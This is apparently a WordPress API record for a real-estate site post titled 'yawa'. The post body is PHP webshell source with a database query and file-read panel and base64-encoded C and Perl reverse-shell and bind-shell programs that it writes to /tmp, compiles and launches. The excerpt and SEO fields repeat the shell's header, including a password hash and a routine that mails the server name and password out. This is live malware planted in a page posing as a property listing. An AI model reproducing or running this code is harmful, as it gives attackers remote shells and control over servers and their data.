\n$_POST[‘p2’] = ‘SELECT * FROM ‘.$_POST[‘p2′].’ LIMIT 30 OFFSET ‘.($_POST[‘p3’]*30);
\nelse
\n$_POST[‘p2’] = ‘SELECT * FROM `’.$_POST[‘p2’].’` LIMIT ‘.($_POST[‘p3′]*30).’,30′;
\necho “<br><br>”;
\n}
\nif((@$_POST[‘p1’] == ‘query’) && !empty($_POST[‘p2’])) {
\n$db->query(@$_POST[‘p2’]);
\nif($db->res !== false) {
\n$title = false;
\necho ‘<table width=100% cellspacing=1 cellpadding=2 class=main>’;
\n$line = 1;
\nwhile($\u259f = $db->fetch()) {
\nif(!$title) {
\necho ‘<tr>’;
\nforeach($\u259f as $key => $value)
\necho ‘<th>’.$key.'<\/th>’;
\nreset($\u259f);
\n$title=true;
\necho ‘<\/tr><tr>’;
\n$line = 2;
\n}
\necho ‘<tr class=”l’.$line.'”>’;
\n$line = $line==1?2:1;
\nforeach($\u259f as $key => $value) {
\nif($value == null)
\necho ‘<td><i>null<\/i><\/td>’;
\nelse
\necho ‘<td>’.nl2br(htmlspecialchars($value)).'<\/td>’;
\n}
\necho ‘<\/tr>’;
\n}
\necho ‘<\/table>’;
\n} else {
\necho ‘<div><b>Error:<\/b> ‘.htmlspecialchars($db->error()).'<\/div>’;
\n}
\n}
\necho “<br><\/form><form onsubmit=’d.sf.p1.value=\\”query\\”;d.sf.p2.value=this.query.value;document.sf.submit();return false;’><textarea name=’query’ style=’width:100%;height:100px’>”;
\nif(!empty($_POST[‘p2’]) && ($_POST[‘p1’] != ‘loadfile’))
\necho htmlspecialchars($_POST[‘p2′]);
\necho “<\/textarea><br\/><input type=submit value=’Execute’>”;
\necho “<\/td><\/tr>”;
\n}
\necho “<\/table><\/form><br\/>”;
\nif($_POST[‘type’]==’mysql’) {
\n$db->query(“SELECT 1 FROM mysql.user WHERE concat(`user`, ‘@’, `host`) = USER() AND `File_priv` = ‘y'”);
\nif($db->fetch())
\necho “<form onsubmit=’d.sf.p1.value=\\”loadfile\\”;document.sf.p2.value=this.f.value;document.sf.submit();return false;’><span>Load file<\/span> <input class=’toolsInp’ type=text name=f><input type=submit value=’submit’><\/form>”;
\n}
\nif(@$_POST[‘p1’] == ‘loadfile’) {
\n$file = $db->loadFile($_POST[‘p2’]);
\necho ‘<br\/><pre class=ml1>’.htmlspecialchars($file[‘file’]).'<\/pre>’;
\n}
\n} else {
\necho htmlspecialchars($db->error());
\n}
\necho ‘<\/div>’;
\nhardFooter();
\n}
\nfunction actionNetwork() {
\nhardHeader();
\n$back_connect_c=”I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9″;
\n$back_connect_p=”IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7″;
\n$bind_port_c=”I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9″;
\n$bind_port_p=”IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=”;
\necho “<h1>Network tools<\/h1><div class=content>
\n<form name=’nfp’ onSubmit=’g(null,null,this.using.value,this.port.value,this.pass.value);return false;’>
\n<span>Bind port to \/bin\/sh<\/span><br\/>
\nPort: <input type=’text’ name=’port’ value=’31337′> Password: <input type=’text’ name=’pass’> Using: <label><select name=’using’><option value=’bpc’>C<\/option><option value=’bpp’>Perl<\/option><\/select><\/label> <input type=submit value=’submit’>
\n<\/form>
\n<form name=’nfp’ onSubmit=’g(null,null,this.using.value,this.server.value,this.port.value);return false;’>
\n<span>Back-connect to<\/span><br\/>
\nServer: <input type=’text’ name=’server’ value=”. $_SERVER[‘REMOTE_ADDR’] .”> Port: <input type=’text’ name=’port’ value=’31337′> Using: <label><select name=’using’><option value=’bcc’>C<\/option><option value=’bcp’>Perl<\/option><\/select><\/label> <input type=submit value=’submit’>
\n<\/form><br>”;
\nif(isset($_POST[‘p1’])) {
\nfunction cf($f,$t) {
\n$w=@fopen($f,”w”) or @function_exists(‘file_put_contents’);
\nif($w) {
\n@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
\n@fclose($w);
\n}
\n}
\nif($_POST[‘p1’] == ‘bpc’) {
\ncf(“\/tmp\/bp.c”,$bind_port_c);
\n$\u2596 = ex(“gcc -o \/tmp\/bp \/tmp\/bp.c”);
\n@unlink(“\/tmp\/bp.c”);
\n$\u2596 .= ex(“\/tmp\/bp “.$_POST[‘p2’].” “.$_POST[‘p3’].” &”);
\necho “<pre class=ml1>$\u2596”.ex(“ps aux | grep bp”).”<\/pre>”;
\n}
\nif($_POST[‘p1’] == ‘bpp’) {
\ncf(“\/tmp\/bp.pl”,$bind_port_p);
\n$\u2596 = ex(which(“perl”).” \/tmp\/bp.pl “.$_POST[‘p2’].” &”);
\necho “<pre class=ml1>$\u2596”.ex(“ps aux | grep bp.pl”).”<\/pre>”;
\n}
\nif($_POST[‘p1’] == ‘bcc’) {
\ncf(“\/tmp\/bc.c”,$back_connect_c);
\n$\u2596 = ex(“gcc -o \/tmp\/bc \/tmp\/bc.c”);
\n@unlink(“\/tmp\/bc.c”);
\n$\u2596 .= ex(“\/tmp\/bc “.$_POST[‘p2’].” “.$_POST[‘p3’].” &”);
\necho “<pre class=ml1>$\u2596”.ex(“ps aux | grep bc”).”<\/pre>”;
\n}
\nif($_POST[‘p1’] == ‘bcp’) {
\ncf(“\/tmp\/bc.pl”,$back_connect_p);
\n$\u2596 = ex(which(“perl”).” \/tmp\/bc.pl “.$_POST[‘p2’].” “.$_POST[‘p3’].” &”);
\necho “<pre class=ml1>$\u2596”.ex(“ps aux | grep bc.pl”).”<\/pre>”;
\n}
\n}
\necho ‘<\/div>’;
\nhardFooter();
\n}
\nif( empty($_POST[‘a’]) )
\nif(isset($\u259a) && function_exists(‘action’ . $\u259a))
\n$_POST[‘a’] = $\u259a;
\nelse
\n$_POST[‘a’] = ‘FilesMan’;
\nif( !empty($_POST[‘a’]) && function_exists(‘action’ . $_POST[‘a’]) )
\ncall_user_func(‘action’ . $_POST[‘a’]);
\n?><\/p>\n","protected":false},"excerpt":{"rendered":"

<?php \/\/————–Watching webshell!————– if(array_key_exists(‘watching’,$_POST)){ $tmp = $_SERVER[‘SERVER_NAME’].$_SERVER[‘PHP_SELF’].”\\n”.$_POST[‘pass’]; @mail(‘test@testmail.com’, ‘root’, $tmp); \/\/ Edit or delete! } \/\/—————–Password——————— $\u259b = “fa769dac7a0a94ee47d8ebe021eaba9e”; $\u2598 = true; $\u259c = ‘UTF-8’; $\u259a = ‘FilesMan’; $\u2599 = md5($_SERVER[‘HTTP_USER_AGENT’]); if (!isset($_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])) { prototype(md5($_SERVER[‘HTTP_HOST’]).”key”, $\u2599); } if(empty($_POST[‘charset’])) $_POST[‘charset’] = $\u259c; if (!isset($_POST[‘ne’])) { if(isset($_POST[‘a’])) $_POST[‘a’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘a’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])); if(isset($_POST[‘c’])) $_POST[‘c’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘c’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])); if(isset($_POST[‘p1’])) $_POST[‘p1’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘p1’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])); if(isset($_POST[‘p2’])) $_POST[‘p2’] …<\/p>\n","protected":false},"featured_media":0,"comment_status":"open","ping_status":"closed","template":"","property_category_developer":[],"property_action_developer":[],"property_area_developer":[],"property_county_state_developer":[],"acf":[],"yoast_head":"\nyawa - Barra 7 Empreendimentos<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"yawa - Barra 7 Empreendimentos\" \/>\n<meta property=\"og:description\" content=\"<?php \/\/————–Watching webshell!————– if(array_key_exists(‘watching’,$_POST)){ $tmp = $_SERVER[‘SERVER_NAME’].$_SERVER[‘PHP_SELF’].”n”.$_POST[‘pass’]; @mail(‘test@testmail.com’, ‘root’, $tmp); \/\/ Edit or delete! } \/\/—————–Password——————— $\u259b = “fa769dac7a0a94ee47d8ebe021eaba9e”; $\u2598 = true; $\u259c = ‘UTF-8’; $\u259a = ‘FilesMan’; $\u2599 = md5($_SERVER[‘HTTP_USER_AGENT’]); if (!isset($_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])) { prototype(md5($_SERVER[‘HTTP_HOST’]).”key”, $\u2599); } if(empty($_POST[‘charset’])) $_POST[‘charset’] = $\u259c; if (!isset($_POST[‘ne’])) { if(isset($_POST[‘a’])) $_POST[‘a’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘a’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])); if(isset($_POST[‘c’])) $_POST[‘c’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘c’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])); if(isset($_POST[‘p1’])) $_POST[‘p1’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘p1’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])); if(isset($_POST[‘p2’])) $_POST[‘p2’] ...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/\" \/>\n<meta property=\"og:site_name\" content=\"Barra 7 Empreendimentos\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Est. tempo de leitura\" \/>\n\t<meta name=\"twitter:data1\" content=\"25 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/\",\"url\":\"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/\",\"name\":\"yawa - Barra 7 Empreendimentos\",\"isPartOf\":{\"@id\":\"https:\/\/site.barra7empreendimentos.com.br\/#website\"},\"datePublished\":\"2021-01-17T20:59:03+00:00\",\"dateModified\":\"2021-01-17T20:59:03+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/#breadcrumb\"},\"inLanguage\":\"pt-BR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"In\u00edcio\",\"item\":\"https:\/\/site.barra7empreendimentos.com.br\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Desenvolvedor\",\"item\":\"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"yawa\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/site.barra7empreendimentos.com.br\/#website\",\"url\":\"https:\/\/site.barra7empreendimentos.com.br\/\",\"name\":\"Barra 7 Empreendimentos\",\"description\":\"Im\u00f3veis e terrenos a venda em Barra Velha\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/site.barra7empreendimentos.com.br\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pt-BR\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"yawa - Barra 7 Empreendimentos","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/","og_locale":"pt_BR","og_type":"article","og_title":"yawa - Barra 7 Empreendimentos","og_description":"<?php \/\/————–Watching webshell!————– if(array_key_exists(‘watching’,$_POST)){ $tmp = $_SERVER[‘SERVER_NAME’].$_SERVER[‘PHP_SELF’].”n”.$_POST[‘pass’]; @mail(‘test@testmail.com’, ‘root’, $tmp); \/\/ Edit or delete! } \/\/—————–Password——————— $\u259b = “fa769dac7a0a94ee47d8ebe021eaba9e”; $\u2598 = true; $\u259c = ‘UTF-8’; $\u259a = ‘FilesMan’; $\u2599 = md5($_SERVER[‘HTTP_USER_AGENT’]); if (!isset($_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])) { prototype(md5($_SERVER[‘HTTP_HOST’]).”key”, $\u2599); } if(empty($_POST[‘charset’])) $_POST[‘charset’] = $\u259c; if (!isset($_POST[‘ne’])) { if(isset($_POST[‘a’])) $_POST[‘a’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘a’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])); if(isset($_POST[‘c’])) $_POST[‘c’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘c’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])); if(isset($_POST[‘p1’])) $_POST[‘p1’] = iconv(“utf-8″, $_POST[‘charset’], decrypt($_POST[‘p1’],$_COOKIE[md5($_SERVER[‘HTTP_HOST’]).”key”])); if(isset($_POST[‘p2’])) $_POST[‘p2’] ...","og_url":"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/","og_site_name":"Barra 7 Empreendimentos","twitter_card":"summary_large_image","twitter_misc":{"Est. tempo de leitura":"25 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/","url":"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/","name":"yawa - Barra 7 Empreendimentos","isPartOf":{"@id":"https:\/\/site.barra7empreendimentos.com.br\/#website"},"datePublished":"2021-01-17T20:59:03+00:00","dateModified":"2021-01-17T20:59:03+00:00","breadcrumb":{"@id":"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/#breadcrumb"},"inLanguage":"pt-BR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/yawa\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"In\u00edcio","item":"https:\/\/site.barra7empreendimentos.com.br\/"},{"@type":"ListItem","position":2,"name":"Desenvolvedor","item":"https:\/\/site.barra7empreendimentos.com.br\/estate_developer\/"},{"@type":"ListItem","position":3,"name":"yawa"}]},{"@type":"WebSite","@id":"https:\/\/site.barra7empreendimentos.com.br\/#website","url":"https:\/\/site.barra7empreendimentos.com.br\/","name":"Barra 7 Empreendimentos","description":"Im\u00f3veis e terrenos a venda em Barra Velha","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/site.barra7empreendimentos.com.br\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pt-BR"}]}},"_links":{"self":[{"href":"https:\/\/site.barra7empreendimentos.com.br\/wp-json\/wp\/v2\/estate_developer\/19519"}],"collection":[{"href":"https:\/\/site.barra7empreendimentos.com.br\/wp-json\/wp\/v2\/estate_developer"}],"about":[{"href":"https:\/\/site.barra7empreendimentos.com.br\/wp-json\/wp\/v2\/types\/estate_developer"}],"replies":[{"embeddable":true,"href":"https:\/\/site.barra7empreendimentos.com.br\/wp-json\/wp\/v2\/comments?post=19519"}],"wp:attachment":[{"href":"https:\/\/site.barra7empreendimentos.com.br\/wp-json\/wp\/v2\/media?parent=19519"}],"wp:term":[{"taxonomy":"property_category_developer","embeddable":true,"href":"https:\/\/site.barra7empreendimentos.com.br\/wp-json\/wp\/v2\/property_category_developer?post=19519"},{"taxonomy":"property_action_developer","embeddable":true,"href":"https:\/\/site.barra7empreendimentos.com.br\/wp-json\/wp\/v2\/property_action_developer?post=19519"},{"taxonomy":"property_area_developer","embeddable":true,"href":"https:\/\/site.barra7empreendimentos.com.br\/wp-json\/wp\/v2\/property_area_developer?post=19519"},{"taxonomy":"property_county_state_developer","embeddable":true,"href":"https:\/\/site.barra7empreendimentos.com.br\/wp-json\/wp\/v2\/property_county_state_developer?post=19519"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}